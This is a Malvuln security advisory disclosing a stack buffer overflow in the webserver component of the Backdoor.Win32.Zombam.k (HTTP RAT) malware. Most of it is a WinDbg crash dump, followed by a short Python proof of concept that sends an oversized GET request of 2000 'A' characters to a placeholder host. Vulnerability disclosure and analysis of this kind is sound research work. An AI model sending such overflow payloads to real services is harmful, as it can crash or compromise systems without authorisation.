Backdoor.Win32.Zombam.k Stack Buffer Overflow

`Discovery / credits: malvuln - Malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/79d9908b6769e64f922e74a090f5ceeb.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Zombam.k  
Vulnerability: Remote String Dereference Stack Buffer Overflow  
  
Description: HTTP RAT 0.21 Backdoor Webserver By z0mbie, create's on the fly executable backdoors that can listen on various ports you specify. The main executable  
then spits out a binary named "httpserver.exe" listening on the port specified in the backdoor creation steps. Sadly, the backdoor is vulnerable to stack buffer overflow  
by sending a large HTTP GET request of 1000 bytes or so to the listening backdoor port.   
  
  
Type: PE32  
MD5: 79d9908b6769e64f922e74a090f5ceeb  
Vuln ID: MVID-2021-0015  
Dropped files: httpserver.exe  
  
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 1/4/2021  
  
Memory Dump:  
EAX : 0574FA40  
EBX : 03FE02A0  
ECX : 00000415 L'Е'  
EDX : 41414141  
EBP : 0574FA28  
ESP : 0574F9F0  
ESI : 03FE02A0  
EDI : 00405076 httpserver.00405076  
EIP : 00402906 httpserver.00402906  
  
  
(12f4.e58): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=0494fa20 edx=41414141 esi=00000003 edi=00000003  
eip=773ced3c esp=0494f0bc ebp=0494f24c iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202  
ntdll!ZwWaitForMultipleObjects+0xc:  
773ced3c c21400 ret 14h  
  
  
0:004> .ecxr  
eax=0494f9f0 ebx=04020300 ecx=0494fa20 edx=41414141 esi=04020300 edi=00405076  
eip=0040292e esp=0494f9d8 ebp=0494fa28 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
*** WARNING: Unable to verify checksum for httpserver.exe  
*** ERROR: Module load completed but symbols could not be loaded for httpserver.exe  
httpserver+0x292e:  
0040292e 8b4204 mov eax,dword ptr [edx+4] ds:002b:41414145=????????  
  
FAULTING_IP:   
httpserver+292e  
0040292e 8b4204 mov eax,dword ptr [edx+4]  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 0040292e (httpserver+0x0000292e)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 41414145  
Attempt to read from address 41414145  
  
PROCESS_NAME: httpserver.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000000  
  
EXCEPTION_PARAMETER2: 41414145  
  
READ_ADDRESS: 41414145   
  
FOLLOWUP_IP:   
httpserver+292e  
0040292e 8b4204 mov eax,dword ptr [edx+4]  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
FAULTING_THREAD: 00000e58  
  
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141  
  
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_FILL_PATTERN_41414141  
  
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141  
  
LAST_CONTROL_TRANSFER: from 004024ce to 0040292e  
  
STACK_TEXT:   
WARNING: Stack unwind information not available. Following frames may be wrong.  
0494fa28 004024ce 41414141 0494fa40 00000415 httpserver+0x292e  
0494faa4 41414141 41414141 41414141 41414141 httpserver+0x24ce  
0494faa8 41414141 41414141 41414141 41414141 0x41414141  
0494faac 41414141 41414141 41414141 41414141 0x41414141  
0494fab0 41414141 41414141 41414141 41414141 0x41414141  
0494fab4 41414141 41414141 41414141 41414141 0x41414141  
  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=80  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
JUNK="A"*2000   
PAYLOAD="GET /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"  
s.send(PAYLOAD)  
s.close()  
print("Remote Buffer Overflow")  
print("MD5: 79d9908b6769e64f922e74a090f5ceeb")  
print("By Malvuln")  
  
  
  
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`